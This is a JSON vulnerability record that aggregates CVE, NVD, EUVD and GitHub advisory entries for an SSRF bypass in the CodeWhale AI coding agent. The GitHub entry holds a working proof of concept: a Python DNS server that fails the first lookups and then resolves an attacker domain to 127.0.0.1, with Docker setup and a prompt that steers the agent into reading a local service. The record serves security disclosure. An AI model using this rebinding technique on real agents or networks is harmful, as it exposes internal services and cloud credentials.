{"id":"CVE-2026-75856","revision":null,"records":[{"revision":"2b235c6736f849d1a4d46c748f203a6c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-75856","aliases":[],"title":"CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU","description":"CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.","state":0,"publishedAt":"2026-08-18T15:21:55.627+00:00","modifiedAt":"2026-08-18T19:02:07.303+00:00","affected":[{"ecosystem":"Vendor product","name":"CodeWhale","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Hmbown\",\n                    \"product\": \"CodeWhale\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:cargo/deepseek-tui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.8.5\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.8.41\"\n                        },\n                        {\n                            \"version\": \"0.8.41\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"CodeWhale","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Hmbown\",\n                    \"product\": \"CodeWhale\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/deepseek-tui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.8.5\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.8.41\"\n                        },\n                        {\n                            \"version\": \"0.8.41\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"CodeWhale","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Hmbown\",\n                    \"product\": \"CodeWhale\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:cargo/codewhale-tui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.8.41\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.8.64\"\n                        },\n                        {\n                            \"version\": \"0.8.64\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"CodeWhale","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Hmbown\",\n                    \"product\": \"CodeWhale\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/codewhale\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.8.41\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.8.64\"\n                        },\n                        {\n                            \"version\": \"0.8.64\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":9.2,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh","https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e","https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-75856","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-75856","identifiers":["CVE-2026-75856"]},"retained":false,"historicalAffected":[]},{"revision":"151d59833c5c4636bb7b0b212aa02196","observedAt":"2026-11-07T14:28:03.054+00:00","statement":{"source":"euvd","id":"EUVD-2026-60963","aliases":["CVE-2026-75856","GHSA-6v2g-fpxh-pmmh"],"title":"CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and s…","description":"CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":9.2,"severity":null}],"references":["https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh","https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e","https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60963","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 18, 2026, 3:21:55 PM","dateUpdated":"Aug 18, 2026, 7:02:07 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60963","identifiers":["EUVD-2026-60963","CVE-2026-75856","GHSA-6v2g-fpxh-pmmh"]},"retained":false,"historicalAffected":[]},{"revision":"309cdcefc43e49238d372cdaa0c3d2a9","observedAt":"2026-10-25T15:19:09.409+00:00","statement":{"source":"nvd","id":"CVE-2026-75856","aliases":[],"title":"CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and s…","description":"CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.","state":0,"publishedAt":"2026-08-18T16:18:21.133+00:00","modifiedAt":"2026-10-22T22:10:00.25+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.2,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e","https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh","https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75856","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-08-18T16:18:21.133","lastModified":"2026-10-22T22:10:00.250"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-75856","identifiers":["CVE-2026-75856"]},"retained":false,"historicalAffected":[]},{"revision":"5b7cd98414804257b29987d8dc2be133","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-6v2g-fpxh-pmmh","aliases":["CVE-2026-75856"],"title":"CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning","description":"### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\nDNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.\n\n\n### Details\nSimplified attack scenario:\n1. Attacker asks agent to visit the `mydomain.com`.\n2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check). \n3. CodeWhale allows the code to continue as it expects it request to fail again.\n4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)\n5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.\n\nIn the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it's expected to fail. However\n\n### PoC\nThis is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in `dnser/dns_resolver.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal DNS Resolver — customizable request/response handling.\nUses only the standard library + dnslib.\n\nUsage:\n    pip install dnslib\n    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default\n    python dns_resolver.py --port 5353   # unprivileged port for testing\n\"\"\"\n\nimport argparse\nimport socket\nimport threading\nfrom dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA\n\n\nUPSTREAM_DNS = (\"8.8.8.8\", 53)   # fallback resolver\n\n\ndef handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:\n    \"\"\"Drop all AAAA requests.\"\"\"\n    if QTYPE[query.q.qtype] == \"AAAA\":\n        reply = query.reply()\n        reply.header.rcode = 3  # NXDOMAIN\n        return reply\n    return None\n\ndef handle_blocked(query: DNSRecord) -> DNSRecord | None:\n    \"\"\"Block domains by returning NXDOMAIN.\"\"\"\n    blocked = {\"blocked.example.com.\", \"ads.tracker.io.\"}\n    qname = str(query.q.qname)\n    if qname in blocked:\n        print(f\"  [BLOCKED] {qname}\")\n        reply = query.reply()\n        reply.header.rcode = 3          # NXDOMAIN\n        return reply\n    return None\n\nfailer = 0\nMAX_FAIL = 2\nMAX_SUCCESS = 2\n\ndef handle_overrides(query: DNSRecord) -> DNSRecord | None:\n    global failer\n    \"\"\"Return hardcoded A records for specific names (split-horizon / local dev).\"\"\"\n    overrides: dict[str, str] = {\n        \"myapp.local.\":     \"127.0.0.1\",\n        \"devserver.local.\": \"192.168.1.100\",\n        \"mydomain.com.\":    \"127.0.0.1\",\n    }\n    qname = str(query.q.qname)\n    qtype = QTYPE[query.q.qtype]\n\n    if qname in overrides and qtype == \"A\":\n        failer += 1\n        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle\n        should_fail = cycle_pos < MAX_FAIL\n\n        print(f\"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}\")\n\n        if should_fail:\n            reply = query.reply()\n            reply.header.rcode = 3\n            reply.header.ra = 0\n            return reply\n\n        ip = overrides[qname]\n        print(f\"  [OVERRIDE] {qname} → {ip}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))\n        reply.header.ra = 0\n        return reply\n\n    return None\n\n\ndef handle_rewrite(query: DNSRecord) -> DNSRecord | None:\n    \"\"\"Rewrite a CNAME transparently (resolve alias locally).\"\"\"\n    rewrites: dict[str, str] = {\n        # \"old.internal.\": \"new.internal.\",\n    }\n    qname = str(query.q.qname)\n    if qname in rewrites:\n        target = rewrites[qname]\n        print(f\"  [REWRITE] {qname} → {target}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))\n        return reply\n    return None\n\n\ndef handle_upstream(query: DNSRecord) -> DNSRecord | None:\n    \"\"\"Forward the query to the upstream resolver.\"\"\"\n    try:\n        raw = query.pack()\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        sock.settimeout(3)\n        sock.sendto(raw, UPSTREAM_DNS)\n        data, _ = sock.recvfrom(4096)\n        sock.close()\n        reply = DNSRecord.parse(data)\n        print(f\"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}\")\n        return reply\n    except Exception as e:\n        print(f\"  [UPSTREAM ERROR] {e}\")\n        return None\n\n\n# Chain of responsibility — handlers are tried in order; first non-None wins.\nHANDLERS = [\n    handle_blocked,\n    handle_overrides,\n    handle_rewrite,\n    handle_upstream,\n]\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n#  Server plumbing — no need to edit below this line\n# ─────────────────────────────────────────────────────────────────────────────\n\ndef resolve(data: bytes) -> bytes:\n    try:\n        query = DNSRecord.parse(data)\n        qname = str(query.q.qname)\n        qtype = QTYPE[query.q.qtype]\n        print(f\"[QUERY] {qtype} {qname}\")\n\n        for handler in HANDLERS:\n            reply = handler(query)\n            if reply is not None:\n                return reply.pack()\n\n        # Fallback: SERVFAIL\n        reply = query.reply()\n        reply.header.rcode = 2\n        return reply.pack()\n\n    except Exception as e:\n        print(f\"[ERROR] Failed to parse/handle query: {e}\")\n        return b\"\"\n\n\ndef udp_server(host: str, port: int) -> None:\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    sock.bind((host, port))\n    print(f\"DNS resolver listening on {host}:{port} (UDP)\")\n    while True:\n        data, addr = sock.recvfrom(4096)\n        threading.Thread(\n            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),\n            daemon=True,\n        ).start()\n\n\ndef tcp_server(host: str, port: int) -> None:\n    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    srv.bind((host, port))\n    srv.listen(10)\n    print(f\"DNS resolver listening on {host}:{port} (TCP)\")\n\n    def handle_conn(conn: socket.socket) -> None:\n        with conn:\n            length_bytes = conn.recv(2)\n            if len(length_bytes) < 2:\n                return\n            length = int.from_bytes(length_bytes, \"big\")\n            data = conn.recv(length)\n            response = resolve(data)\n            conn.sendall(len(response).to_bytes(2, \"big\") + response)\n\n    while True:\n        conn, _ = srv.accept()\n        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(description=\"Local DNS resolver\")\n    parser.add_argument(\"--host\", default=\"0.0.0.0\", help=\"Bind address\")\n    parser.add_argument(\"--port\", type=int, default=53, help=\"Bind port (use 5353 for unprivileged)\")\n    args = parser.parse_args()\n\n    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)\n    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)\n    t_udp.start()\n    t_tcp.start()\n\n    try:\n        t_udp.join()\n    except KeyboardInterrupt:\n        print(\"\\nShutting down.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nDocker file to build it(`dnser/Dockerfile`):\n```bash\nFROM python:3.12-slim\n\nWORKDIR /app\n\nRUN pip install dnslib --no-cache-dir\n\nCOPY dns_resolver.py .\n\nEXPOSE 53/udp\nEXPOSE 53/tcp\n\nCMD [\"python\", \"-u\", \"dns_resolver.py\", \"--host\", \"0.0.0.0\", \"--port\", \"53\"]\n```\n\nThen to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:\n\n\n\n`docker-compose.yml`:\n```yaml\nservices:\n  dns-resolver:\n    build: dnser\n    container_name: dns-resolver\n    restart: unless-stopped\n    networks:\n      dns-net:\n        ipv4_address: 10.0.1.2\n\n  a:\n    image: ghcr.io/hmbown/deepseek-tui:latest\n    container_name: tui\n    environment:\n      DEEPSEEK_API_KEY: sk-\n    stdin_open: true\n    tty: true\n    dns: 10.0.1.2\n    networks:\n      - dns-net\n    depends_on:\n      - dns-resolver\n    sysctls:\n      net.ipv6.conf.all.disable_ipv6: 1\n\n\n\nnetworks:\n  dns-net:\n    driver: bridge\n    ipam:\n      config:\n        - subnet: 10.0.1.0/24\n```\n\nThen to check everything we could simply:\n`sudo docker attach tui`\nPrompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`\nThe tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content.\n\nTo read the logs from dns-resolver:\n`sudo docker logs -f dns-resolver`\n\n\n### Impact\nSimilar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.","state":0,"publishedAt":"2026-09-04T18:05:12+00:00","modifiedAt":"2026-09-04T19:00:05.311955+00:00","affected":[{"ecosystem":"crates.io","name":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.8.5"},{"kind":"last_affected","version":"0.8.41"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.8.5"},{"kind":"fixed","version":"0.8.41"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"codewhale-tui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.8.41"},{"kind":"fixed","version":"0.8.64"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"codewhale","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.8.41"},{"kind":"fixed","version":"0.8.64"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh","https://nvd.nist.gov/vuln/detail/CVE-2026-75856","https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e","https://github.com/Hmbown/CodeWhale","https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"],"sourceUrl":"https://github.com/advisories/GHSA-6v2g-fpxh-pmmh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6v2g-fpxh-pmmh","identifiers":["GHSA-6v2g-fpxh-pmmh","CVE-2026-75856"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T06:06:40.8743578+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T06:06:40.8743578+00:00","lastSuccessAt":"2026-11-08T06:06:41.0239033+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:41.0239043+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-83dbcd705162368a7389ef21c7d5877b90bc9ecd8679671f4b5e02683a8e1d4f","complete":true,"records":421074,"lastAttemptAt":"2026-11-08T06:06:40.5628876+00:00","lastSuccessAt":"2026-11-08T06:06:40.5495855+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.5628876+00:00","snapshotPublishedAt":"2026-11-08T05:23:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T06:07:06.8623217+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T06:06:40.8743578+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T06:06:40.8743578+00:00","lastSuccessAt":"2026-11-08T06:06:41.0246874+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:41.0246876+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f61a222d691b4992bb1403f1a88575db","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T06:07:06.2347163+00:00","lastSuccessAt":"2026-11-08T06:07:06.231+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:07:06.231+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T06:06:40.830411+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.830411+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T06:06:40.6194681+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.6194681+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T06:06:40.8424247+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.8424247+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-08T06:06:40.7260451+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.7260451+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}